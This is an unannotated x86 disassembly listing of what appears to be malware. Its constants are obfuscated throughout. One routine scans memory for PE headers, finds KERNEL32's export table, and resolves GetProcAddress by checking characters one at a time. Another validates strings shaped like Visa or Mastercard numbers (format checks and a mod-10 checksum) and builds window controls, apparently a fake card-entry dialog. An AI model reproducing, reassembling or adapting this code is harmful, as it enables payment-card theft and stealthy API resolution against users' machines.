mov eax, ds:100120A4h
movsx edx, word ptr ds:100121A8h
add eax, edx
sub eax, 2
mov [ebp-134h], eax
loc_420F57: ; CODE XREF: .data:00420F99j
mov eax, [ebp-138h]
mov esi, eax
add esi, [ebp-134h]
mov edi, [esi]
mov eax, ds:100120F8h
add eax, ds:1001214Ch
sub eax, 8
cmp edi, eax
jz short loc_420FB3
push edi
call sub_421013
pop ecx
cmp dword ptr ds:100121D4h, 0
jnz short loc_420FB3
movsx eax, word ptr ds:10012090h
add eax, 3
add [ebp-134h], eax
jmp short loc_420F57
; ---------------------------------------------------------------------------
db 0EBh
db 16h
; ---------------------------------------------------------------------------
loc_420F9D: ; CODE XREF: .data:00420EBAj
; .data:00420ED7j ...
add dword ptr [ebp-4], 14h
loc_420FA1: ; CODE XREF: .data:00420E13j
mov eax, [ebp-8]
mov eax, [eax+84h]
cmp [ebp-4], eax
jb loc_420E18
loc_420FB3: ; CODE XREF: .data:00420E2Ej
; .data:00420F77j ...
cmp dword ptr ds:100121D4h, 0
jz short loc_42100E
call sub_420864
call sub_422A6F
call sub_423BBE
mov edx, eax
mov [ebp-19h], dl
movzx eax, byte ptr [ebp-19h]
mov edx, ds:1001210Ch
add edx, ds:10012094h
sub edx, 0Bh
cmp eax, edx
jz short loc_42100E
lea eax, [ebp-24h]
push eax
mov eax, ds:100121C4h
sub eax, 5
push eax
lea eax, [ebp-20h]
push eax
push 10009C0Ah
mov eax, ds:100121C8h
sub eax, 2
push eax
push 0
call dword ptr ds:10011B90h
loc_42100E: ; CODE XREF: .data:00420FBAj
; .data:00420FE5j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421013 proc near ; CODE XREF: .data:00420F7Ap
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_281 = byte ptr -281h
var_26C = byte ptr -26Ch
var_252 = byte ptr -252h
var_23D = byte ptr -23Dh
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = byte ptr -220h
var_21F = byte ptr -21Fh
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_103 = byte ptr -103h
var_102 = byte ptr -102h
var_101 = byte ptr -101h
var_FE = byte ptr -0FEh
var_FD = byte ptr -0FDh
var_FC = byte ptr -0FCh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ecx, ds:10012188h
add ecx, 10h
shr edi, cl
movsx esi, word ptr ds:10012170h
add esi, 8
mov ecx, esi
mov ebx, edi
shl ebx, cl
loc_42103D: ; CODE XREF: sub_421013+50j
; sub_421013+93j ...
mov [ebp+var_114], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_421065
movsx eax, word ptr ds:10012114h
movsx edx, word ptr ds:1001216Ch
lea eax, [eax+edx+0FFFAh]
sub ebx, eax
jmp short loc_42103D
; ---------------------------------------------------------------------------
loc_421065: ; CODE XREF: sub_421013+37j
mov eax, ds:10012098h
add eax, 35h
add eax, ds:10012108h
mov edx, ebx
add edx, eax
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_118], edx
mov eax, [ebp+arg_0]
cmp edx, eax
jbe short loc_4210A8
movsx eax, word ptr ds:10012090h
mov edx, ds:10012104h
lea eax, [eax+edx+0FFFCh]
sub ebx, eax
jmp short loc_42103D
; ---------------------------------------------------------------------------
loc_4210A8: ; CODE XREF: sub_421013+7Bj
mov eax, [ebp+var_118]
mov [ebp+var_11C], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_4210CF
mov eax, ds:100121B4h
add eax, 0FFFFh
sub ebx, eax
jmp loc_42103D
; ---------------------------------------------------------------------------
loc_4210CF: ; CODE XREF: sub_421013+A9j
mov eax, [ebp+var_11C]
mov eax, [eax+78h]
mov [ebp+var_120], eax
mov ecx, ebx
add ecx, eax
mov [ebp+var_110], ecx
mov eax, ecx
mov edx, ebx
add edx, [eax+0Ch]
push edx
lea eax, [ebp+var_103]
push eax
call sub_424F6D
movsx eax, word ptr ds:10012154h
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_42112D
; ---------------------------------------------------------------------------
loc_42110B: ; CODE XREF: sub_421013+136j
mov eax, [ebp+var_4]
mov al, [ebp+eax+var_103]
cmp al, 61h
jle short loc_42112A
cmp al, 7Ah
jge short loc_42112A
mov eax, [ebp+var_4]
lea eax, [ebp+eax+var_103]
sub byte ptr [eax], 20h
loc_42112A: ; CODE XREF: sub_421013+104j
; sub_421013+108j
inc [ebp+var_4]
loc_42112D: ; CODE XREF: sub_421013+F6j
mov eax, [ebp+var_4]
movsx eax, [ebp+eax+var_103]
mov edx, ds:100120E4h
add edx, ds:1001218Ch
sub edx, 3
cmp eax, edx
jnz short loc_42110B
cmp [ebp+var_103], 4Bh
jnz short loc_421181
cmp [ebp+var_102], 45h
jnz short loc_421181
cmp [ebp+var_101], 52h
jnz short loc_421181
cmp [ebp+var_FE], 4Ch
jnz short loc_421181
cmp [ebp+var_FD], 33h
jnz short loc_421181
cmp [ebp+var_FC], 32h
jz short loc_421186
loc_421181: ; CODE XREF: sub_421013+13Fj
; sub_421013+148j ...
jmp loc_4213C3
; ---------------------------------------------------------------------------
loc_421186: ; CODE XREF: sub_421013+16Cj
mov eax, ds:10012144h
add eax, ds:100121B8h
sub eax, 8
mov [ebp+var_108], eax
jmp loc_4213AE
; ---------------------------------------------------------------------------
loc_42119F: ; CODE XREF: sub_421013+3AAj
mov eax, [ebp+var_108]
mov ecx, ds:100121C8h
add ecx, ds:10012094h
sub ecx, 4
mul ecx
mov [ebp+var_228], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+20h]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_224], edx
push edx
lea eax, [ebp+var_21F]
push eax
call sub_424F6D
mov eax, ds:10012144h
add eax, ds:100120A8h
cmp byte ptr [ebp+eax+var_228+1], 47h
jnz loc_4213A8
movsx eax, word ptr ds:1001216Ch
add eax, ds:1001213Ch
cmp byte ptr [ebp+eax+var_224+1], 74h
jnz loc_4213A8
mov eax, ds:100120A0h
cmp [ebp+eax+var_220], 50h
jnz loc_4213A8
mov eax, ds:10012138h
add eax, ds:10012158h
cmp byte ptr [ebp+eax+var_224+3], 63h
jnz loc_4213A8
mov eax, ds:10012160h
add eax, ds:1001212Ch
cmp byte ptr [ebp+eax+var_228+3], 41h
jnz loc_4213A8
mov eax, ds:10012120h
add eax, 4
add eax, ds:100120B8h
cmp [ebp+eax+var_21F], 72h
jnz loc_4213A8
mov eax, [ebp+var_108]
movsx ecx, word ptr ds:10012114h
movsx esi, word ptr ds:100120D0h
add ecx, esi
mul ecx
mov [ebp+var_288], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+24h]
mov [ebp+var_114], edx
movzx eax, word ptr [edx]
mov [ebp+var_22C], eax
mov ecx, ds:100121CCh
add ecx, ds:1001209Ch
sub ecx, 8
mul ecx
mov [ebp+var_28C], eax
mov edx, ebx
add edx, eax
mov eax, [ebp+var_110]
add edx, [eax+1Ch]
mov [ebp+var_10C], edx
mov eax, edx
mov edx, ebx
add edx, [eax]
mov [ebp+var_230], edx
mov ds:100121D4h, ebx
mov ds:1000E1F8h, edx
lea edi, [ebp+var_23D]
lea esi, ds:100122F8h
mov ecx, 0Dh
rep movsb
lea edi, [ebp+var_252]
lea esi, ds:10012305h
mov ecx, 15h
rep movsb
lea edi, [ebp+var_26C]
lea esi, ds:1001231Ah
mov ecx, 0Dh
rep movsw
lea edi, [ebp+var_281]
lea esi, ds:10012334h
mov ecx, 15h
rep movsb
lea eax, [ebp+var_23D]
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:10011B90h, eax
lea eax, [ebp+var_252]
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1001165Ch, eax
lea eax, [ebp+var_26C]
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1000D008h, eax
lea eax, [ebp+var_281]
push eax
push dword ptr ds:100121D4h
call dword ptr ds:1000E1F8h
mov ds:1001064Ch, eax
jmp short loc_4213C3
; ---------------------------------------------------------------------------
loc_4213A8: ; CODE XREF: sub_421013+1E8j
; sub_421013+203j ...
inc [ebp+var_108]
loc_4213AE: ; CODE XREF: sub_421013+187j
mov eax, [ebp+var_110]
mov eax, [eax+18h]
cmp [ebp+var_108], eax
jb loc_42119F
loc_4213C3: ; CODE XREF: sub_421013:loc_421181j
; sub_421013+393j
pop edi
pop esi
pop ebx
leave
retn
sub_421013 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4213C8 proc near ; CODE XREF: sub_41B3C2+18Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
mov eax, ds:100121C8h
sub eax, 2
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr ds:1000E5ECh
mov edi, eax
or edi, edi
jz short loc_4213F5
xor eax, eax
jmp short loc_421422
; ---------------------------------------------------------------------------
loc_4213F5: ; CODE XREF: sub_4213C8+27j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call dword ptr ds:1000C03Ch
mov edi, eax
push [ebp+var_4]
call dword ptr ds:10011618h
or edi, edi
jz short loc_42141F
xor eax, eax
jmp short loc_421422
; ---------------------------------------------------------------------------
loc_42141F: ; CODE XREF: sub_4213C8+51j
xor eax, eax
inc eax
loc_421422: ; CODE XREF: sub_4213C8+2Bj
; sub_4213C8+55j
pop edi
leave
retn
sub_4213C8 endp
; ---------------------------------------------------------------------------
db 0B8h, 1, 40h
dd 8C28000h
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42142D proc near ; CODE XREF: sub_41E5D9+A3p
; sub_41E5D9+DAp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 0Ah
mov edx, 0CCCCCCCDh
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
add edi, 61h
mov ebx, edi
mov [ebp+arg_0], bl
mov al, [ebp+arg_0]
cmp al, 65h
jz short loc_42146E
cmp al, 79h
jz short loc_42146E
cmp al, 75h
jz short loc_42146E
cmp al, 69h
jz short loc_42146E
cmp al, 6Fh
jz short loc_42146E
cmp al, 61h
jnz short loc_421472
loc_42146E: ; CODE XREF: sub_42142D+2Bj
; sub_42142D+2Fj ...
add [ebp+arg_0], 1
loc_421472: ; CODE XREF: sub_42142D+3Fj
cmp [ebp+arg_0], 6Ah
jnz short loc_42147C
add [ebp+arg_0], 1
loc_42147C: ; CODE XREF: sub_42142D+49j
movzx eax, [ebp+arg_0]
pop edi
pop ebx
leave
retn
sub_42142D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421484 proc near ; CODE XREF: sub_41C68E+20p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 1000h
push [ebp+arg_0]
push 0
call dword ptr ds:1000F248h
pop ebp
retn
sub_421484 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42149B proc near ; CODE XREF: sub_41F4F7+BA2p
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2BE = byte ptr -2BEh
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_253 = byte ptr -253h
var_23F = byte ptr -23Fh
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10A = byte ptr -10Ah
var_108 = byte ptr -108h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_102 = word ptr -102h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
var_FB = byte ptr -0FBh
var_F9 = byte ptr -0F9h
var_F8 = byte ptr -0F8h
var_F7 = byte ptr -0F7h
var_F6 = byte ptr -0F6h
var_F4 = byte ptr -0F4h
var_F1 = byte ptr -0F1h
var_F0 = byte ptr -0F0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 30Ch
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz loc_4223D4
mov eax, [ebp+arg_0]
mov al, [eax]
cmp al, 34h
jz short loc_4214C2
cmp al, 35h
jnz loc_4223D4
loc_4214C2: ; CODE XREF: sub_42149B+1Dj
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_4214CA: ; CODE XREF: sub_42149B+34j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4214CA
mov [ebp+var_128], eax
mov edx, ds:100120B4h
add edx, 8
cmp eax, edx
jz short loc_4214F5
mov edx, ds:100120A0h
add edx, 0Fh
cmp eax, edx
jnz loc_4223D4
loc_4214F5: ; CODE XREF: sub_42149B+47j
mov eax, ds:100121A4h
mov ebx, eax
add ebx, ds:1001212Ch
sub ebx, 5
jmp short loc_42152B
; ---------------------------------------------------------------------------
loc_421507: ; CODE XREF: sub_42149B+9Bj
mov eax, 30h
mul ebx
mov [ebp+var_260], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_260]
cmp ds:1000F370h[edx], eax
jz loc_4223D4
inc ebx
loc_42152B: ; CODE XREF: sub_42149B+6Aj
mov eax, ds:100120ACh
lea eax, [eax+eax+5Eh]
cmp ebx, eax
jb short loc_421507
movsx eax, word ptr ds:100120B0h
movsx edx, word ptr ds:10012154h
lea eax, [eax+edx+3]
cmp [ebp+var_128], eax
jnz loc_4216F7
mov eax, [ebp+arg_0]
mov al, [eax+4]
cmp al, 2Dh
jz short loc_421568
cmp al, 20h
jnz loc_4223D4
loc_421568: ; CODE XREF: sub_42149B+C3j
mov eax, [ebp+arg_0]
mov al, [eax+9]
cmp al, 2Dh
jz short loc_42157A
cmp al, 20h
jnz loc_4223D4
loc_42157A: ; CODE XREF: sub_42149B+D5j
mov eax, [ebp+arg_0]
mov al, [eax+0Eh]
cmp al, 2Dh
jz short loc_42158C
cmp al, 20h
jnz loc_4223D4
loc_42158C: ; CODE XREF: sub_42149B+E7j
mov eax, ds:10012144h
mov edx, [ebp+arg_0]
mov dl, [edx]
mov [ebp+eax+var_104], dl
movsx eax, word ptr ds:1001219Ch
mov edx, eax
add edx, eax
mov eax, [ebp+arg_0]
mov al, [eax+1]
mov [ebp+edx+var_10A], al
mov eax, ds:100121C4h
add eax, ds:100120E4h
mov edx, [ebp+arg_0]
mov dl, [edx+2]
mov [ebp+eax+var_104], dl
mov eax, ds:1001209Ch
mov edx, [ebp+arg_0]
mov dl, [edx+3]
mov [ebp+eax+var_104], dl
mov eax, ds:10012198h
add eax, ds:100121B4h
mov edx, [ebp+arg_0]
mov dl, [edx+5]
mov [ebp+eax+var_104], dl
mov eax, ds:100120B8h
mov edx, [ebp+arg_0]
mov dl, [edx+6]
mov [ebp+eax+var_FE], dl
mov eax, ds:100121B0h
mov edx, [ebp+arg_0]
mov dl, [edx+7]
mov [ebp+eax+var_F9], dl
mov eax, ds:100121C0h
mov edx, [ebp+arg_0]
mov dl, [edx+8]
mov [ebp+eax+var_FB], dl
movsx eax, word ptr ds:10012194h
mov edx, [ebp+arg_0]
mov dl, [edx+0Ah]
mov [ebp+eax+var_F7], dl
mov eax, ds:10012120h
add eax, 3
movsx edx, word ptr ds:10012110h
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Bh]
mov [ebp+eax+var_FF], dl
movsx eax, word ptr ds:10012168h
movsx edx, word ptr ds:100120B0h
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Ch]
mov [ebp+eax+var_105], dl
mov eax, ds:100121A4h
mov edx, [ebp+arg_0]
mov dl, [edx+0Dh]
mov [ebp+eax+var_F4], dl
mov eax, ds:1001211Ch
mov edx, [ebp+arg_0]
mov dl, [edx+0Fh]
mov [ebp+eax+var_F6], dl
movsx eax, word ptr ds:10012110h
mov edx, [ebp+arg_0]
mov dl, [edx+10h]
mov [ebp+eax+var_F6], dl
mov eax, ds:10012158h
mov edx, [ebp+arg_0]
mov dl, [edx+11h]
mov [ebp+eax+var_F1], dl
mov eax, ds:10012138h
mov edx, [ebp+arg_0]
mov dl, [edx+12h]
mov [ebp+eax+var_F8], dl
movsx eax, word ptr ds:10012090h
mov edx, ds:100121C4h
add edx, ds:100120ECh
sub edx, 0Ah
mov [ebp+eax+var_F0], dl
jmp short loc_421706
; ---------------------------------------------------------------------------
loc_4216F7: ; CODE XREF: sub_42149B+B5j
push [ebp+arg_0]
lea eax, [ebp+var_FF]
push eax
call sub_424F6D
loc_421706: ; CODE XREF: sub_42149B+25Aj
movsx esi, word ptr ds:100120DCh
sub esi, 6
jmp short loc_421727
; ---------------------------------------------------------------------------
loc_421712: ; CODE XREF: sub_42149B+29Cj
mov al, [ebp+esi+var_FF]
cmp al, 30h
jl short loc_421721
cmp al, 39h
jle short loc_421726
loc_421721: ; CODE XREF: sub_42149B+280j
jmp loc_4223D4
; ---------------------------------------------------------------------------
loc_421726: ; CODE XREF: sub_42149B+284j
inc esi
loc_421727: ; CODE XREF: sub_42149B+275j
mov eax, ds:100121C0h
add eax, 0Bh
add eax, ds:100120F8h
cmp esi, eax
jb short loc_421712
mov eax, ds:100120E4h
add eax, ds:10012164h
sub eax, 2
mov [ebp-108h], eax
mov esi, ds:1001212Ch
sub esi, 5
jmp short loc_42179E
; ---------------------------------------------------------------------------
loc_421758: ; CODE XREF: sub_42149B+313j
movsx eax, [ebp+esi+var_FF]
sub eax, 30h
movsx edx, word ptr ds:100120DCh
add edx, ds:100120A8h
sub edx, 7
imul eax, edx
add [ebp-108h], eax
cmp [ebp+esi+var_FF], 34h
jle short loc_421792
mov eax, ds:1001209Ch
inc eax
sub [ebp-108h], eax
loc_421792: ; CODE XREF: sub_42149B+2E9j
movsx eax, word ptr ds:10012110h
sub eax, 2
add esi, eax
loc_42179E: ; CODE XREF: sub_42149B+2BBj
mov eax, ds:10012190h
add eax, 0Ch
add eax, ds:10012124h
cmp esi, eax
jb short loc_421758
movsx eax, word ptr ds:10012168h
mov ebx, eax
add ebx, ds:10012118h
sub ebx, 8
jmp short loc_4217E1
; ---------------------------------------------------------------------------
loc_4217C4: ; CODE XREF: sub_42149B+350j
movsx eax, [ebp+ebx+var_FF]
sub eax, 30h
add [ebp-108h], eax
movsx eax, word ptr ds:100121BCh
sub eax, 4
add ebx, eax
loc_4217E1: ; CODE XREF: sub_42149B+327j
mov eax, ds:1001212Ch
add eax, 0Bh
cmp ebx, eax
jb short loc_4217C4
mov eax, [ebp-108h]
mov ecx, 0Ah
xor edx, edx
div ecx
movsx edi, word ptr ds:100121A8h
add edi, ds:10012108h
cmp edx, edi
jnz loc_4223D4
lea eax, [ebp+var_FF]
push eax
call dword ptr ds:10011774h
pop ecx
or eax, eax
jnz loc_4223D4
mov eax, ds:100120C0h
movsx edx, word ptr ds:10012154h
mov esi, eax
add esi, edx
sub esi, 9
mov esi, ds:10012190h
sub esi, 3
jmp short loc_42185D
; ---------------------------------------------------------------------------
loc_421845: ; CODE XREF: sub_42149B+3D5j
mov eax, 30h
mul esi
mov [ebp+var_264], eax
cmp dword ptr ds:1000F370h[eax], 0
jz short loc_421872
inc esi
loc_42185D: ; CODE XREF: sub_42149B+3A8j
mov eax, ds:10012174h
add eax, 5Bh
movsx edx, word ptr ds:100121A8h
add eax, edx
cmp esi, eax
jb short loc_421845
loc_421872: ; CODE XREF: sub_42149B+3BFj
mov eax, ds:1001213Ch
add eax, 62h
cmp esi, eax
jz loc_4223D4
mov eax, 30h
mul esi
mov [ebp+var_268], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_268]
mov ds:1000F370h[edx], eax
push 10012EFEh
call sub_4228CE
pop ecx
push 0
push eax
push 0
push [ebp+arg_4]
call dword ptr ds:10011638h
mov [ebp+var_134], eax
test eax, eax
jnz short loc_4218CB
mov eax, [ebp+arg_4]
mov [ebp+var_134], eax
loc_4218CB: ; CODE XREF: sub_42149B+425j
push 10012EF1h
call sub_4228CE
push eax
push [ebp+var_134]
call sub_41DBFE
mov [ebp+var_12C], eax
push 10012EE8h
push eax
call sub_41DBFE
add esp, 14h
mov [ebp+var_26C], eax
mov eax, 30h
mul esi
mov [ebp+var_270], eax
mov edi, [ebp+var_26C]
mov ebx, eax
mov ds:1000F374h[ebx], edi
push 0
mov eax, 30h
mul esi
mov [ebp+var_274], eax
push dword ptr ds:1000F374h[eax]
call dword ptr ds:10011658h
lea eax, [ebp+var_11C]
push eax
push [ebp+var_12C]
call dword ptr ds:10011650h
push 0
call dword ptr ds:1000E5E8h
mov [ebp-10Ch], eax
push 0
push eax
push 0
push [ebp+var_12C]
mov eax, [ebp+var_110]
sub eax, [ebp+var_118]
push eax
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
push eax
mov eax, ds:100120FCh
add eax, ds:100121B4h
sub eax, 8
push eax
mov eax, ds:10012124h
dec eax
push eax
push 50800000h
lea eax, [ebp+var_FF]
push eax
push 10012EE1h
push 200h
call dword ptr ds:10010648h
mov [ebp+var_278], eax
mov eax, 30h
mul esi
mov [ebp+var_27C], eax
mov edi, [ebp+var_278]
mov ebx, eax
mov ds:1000F378h[ebx], edi
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
mov ebx, ds:100120CCh
add ebx, 0F9h
sub edi, ebx
mov ebx, ds:10012124h
add ebx, 34h
add ebx, ds:1001210Ch
mov eax, edi
sub eax, ebx
xor edx, edx
test eax, eax
setl dl
add eax, edx
sar eax, 1
mov [ebp+var_124], eax
mov eax, ds:100120F0h
movsx edx, word ptr ds:100120DCh
add eax, edx
sub eax, 0Ah
cmp [ebp+var_124], eax
jge short loc_421A32
mov eax, ds:1001214Ch
sub eax, 5
mov [ebp+var_124], eax
loc_421A32: ; CODE XREF: sub_42149B+587j
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
movsx edx, word ptr ds:100120D8h
add edx, 28h
sub eax, edx
mov [ebp+var_120], eax
push 10012ED7h
call sub_4228CE
mov [ebp+var_280], eax
push 10012EBEh
call sub_4228CE
mov [ebp+var_284], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_288], eax
mov edi, eax
push dword ptr ds:1000F378h[edi]
mov edi, ds:1001214Ch
add edi, 36h
push edi
push [ebp+var_120]
push [ebp+var_124]
mov edi, ds:100120C0h
add edi, 13h
add edi, ds:10012130h
push edi
push 50800000h
mov edi, [ebp+var_284]
push edi
mov edi, [ebp+var_280]
push edi
movsx edi, word ptr ds:10012194h
add edi, ds:100120F8h
sub edi, 2
push edi
call dword ptr ds:10010648h
mov [ebp+var_138], eax
push 10012EB4h
call sub_4228CE
mov [ebp+var_28C], eax
push 10012EB0h
call sub_4228CE
add esp, 10h
mov [ebp+var_290], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_294], eax
mov edi, eax
push dword ptr ds:1000F378h[edi]
movsx edi, word ptr ds:100120E0h
mov ebx, ds:1001215Ch
lea edi, [edi+ebx+0F6h]
push edi
push [ebp+var_120]
mov edi, [ebp+var_124]
mov ebx, ds:1001212Ch
add ebx, 30h
movsx edx, word ptr ds:100120C8h
add ebx, edx
add edi, ebx
mov ebx, ds:10012130h
inc ebx
add edi, ebx
push edi
movsx edi, word ptr ds:10012194h
add edi, 14h
push edi
push 50800009h
mov edi, [ebp+var_290]
push edi
mov edi, [ebp+var_28C]
push edi
mov edi, ds:100120B4h
add edi, ds:100121B4h
sub edi, 9
push edi
call dword ptr ds:10010648h
mov [ebp+var_13C], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, ds:100121B4h
dec eax
push eax
mov eax, ds:10012118h
add eax, ds:10012174h
sub eax, 0Ah
push eax
mov eax, ds:100120B8h
movsx edx, word ptr ds:100120E8h
add eax, edx
sub eax, 9
push eax
push 2BCh
mov eax, ds:1001217Ch
movsx edx, word ptr ds:10012128h
add eax, edx
sub eax, 6
push eax
mov eax, ds:1001210Ch
add eax, ds:10012178h
sub eax, 0Ah
push eax
movsx eax, word ptr ds:1001216Ch
add eax, 4
push eax
mov eax, ds:10012164h
add eax, 10h
add eax, ds:100120A0h
push eax
call dword ptr ds:1000F250h
mov [ebp+var_140], eax
push 1
push eax
push 30h
push [ebp+var_138]
call dword ptr ds:1000C014h
push 0
push dword ptr [ebp-10Ch]
push 0
push [ebp+var_13C]
mov eax, ds:100120F0h
add eax, 0EDh
add eax, ds:10012174h
movsx edx, word ptr ds:10012168h
sub edx, 4
sub eax, edx
push eax
mov eax, [ebp+var_120]
mov edx, ds:100121B8h
movsx ecx, word ptr ds:100120BCh
add edx, ecx
sub edx, 8
sub eax, edx
push eax
movsx eax, word ptr ds:100121BCh
add eax, ds:1001211Ch
sub eax, 8
push eax
mov eax, ds:100120ECh
sub eax, 4
push eax
push 50000000h
push 10012EA7h
push 10012EA9h
mov eax, ds:100120B4h
sub eax, 8
push eax
call dword ptr ds:10010648h
mov [ebp+var_298], eax
mov eax, 30h
mul esi
mov [ebp+var_29C], eax
mov edi, [ebp+var_298]
mov ebx, eax
mov ds:1000F37Ch[ebx], edi
mov eax, ds:100120A4h
movsx edx, word ptr ds:100120C8h
add eax, edx
cmp [ebp+eax+var_108], 34h
jnz short loc_421D00
push 10012EA2h
lea eax, [ebp+var_253]
push eax
call sub_424F6D
jmp short loc_421D18
; ---------------------------------------------------------------------------
loc_421D00: ; CODE XREF: sub_42149B+850j
push 10012E94h
call sub_4228CE
pop ecx
push eax
lea edi, [ebp+var_253]
push edi
call sub_424F6D
loc_421D18: ; CODE XREF: sub_42149B+863j
push 10012E22h
call sub_4228CE
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_253]
push edi
push eax
lea edi, [ebp+var_23F]
push edi
call dword ptr ds:10011634h
push 10012E18h
call sub_4228CE
add esp, 18h
mov [ebp+var_2A0], eax
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2A4], eax
mov edi, eax
push dword ptr ds:1000F37Ch[edi]
mov edi, ds:10012144h
add edi, 2Bh
push edi
push [ebp+var_120]
mov edi, ds:10012190h
add edi, 7
push edi
mov edi, ds:100121C4h
add edi, 5
push edi
push 50000000h
lea edi, [ebp+var_23F]
push edi
mov edi, [ebp+var_2A0]
push edi
mov edi, ds:10012098h
movsx ebx, word ptr ds:100120D8h
add edi, ebx
sub edi, 0Ch
push edi
call dword ptr ds:10010648h
mov [ebp+var_258], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, ds:100120B8h
sub eax, 4
push eax
mov eax, ds:10012158h
add eax, ds:1001218Ch
dec eax
push eax
movsx eax, word ptr ds:10012100h
sub eax, 9
push eax
push 190h
mov eax, ds:10012198h
sub eax, 8
push eax
mov eax, ds:100120C4h
sub eax, 4
push eax
movsx eax, word ptr ds:10012168h
sub eax, 2
push eax
mov eax, ds:100120A8h
add eax, 9
movsx edx, word ptr ds:10012110h
add eax, edx
push eax
call dword ptr ds:1000F250h
mov [ebp+var_130], eax
push 1
push eax
push 30h
push [ebp+var_258]
call dword ptr ds:1000C014h
push 0
push dword ptr [ebp-10Ch]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2A8], eax
mov [ebp+var_2AC], eax
push dword ptr ds:1000F37Ch[eax]
mov edx, ds:100120FCh
add edx, 121h
add edx, ds:100120B8h
push edx
mov edx, ds:100120ECh
movsx ecx, word ptr ds:10012100h
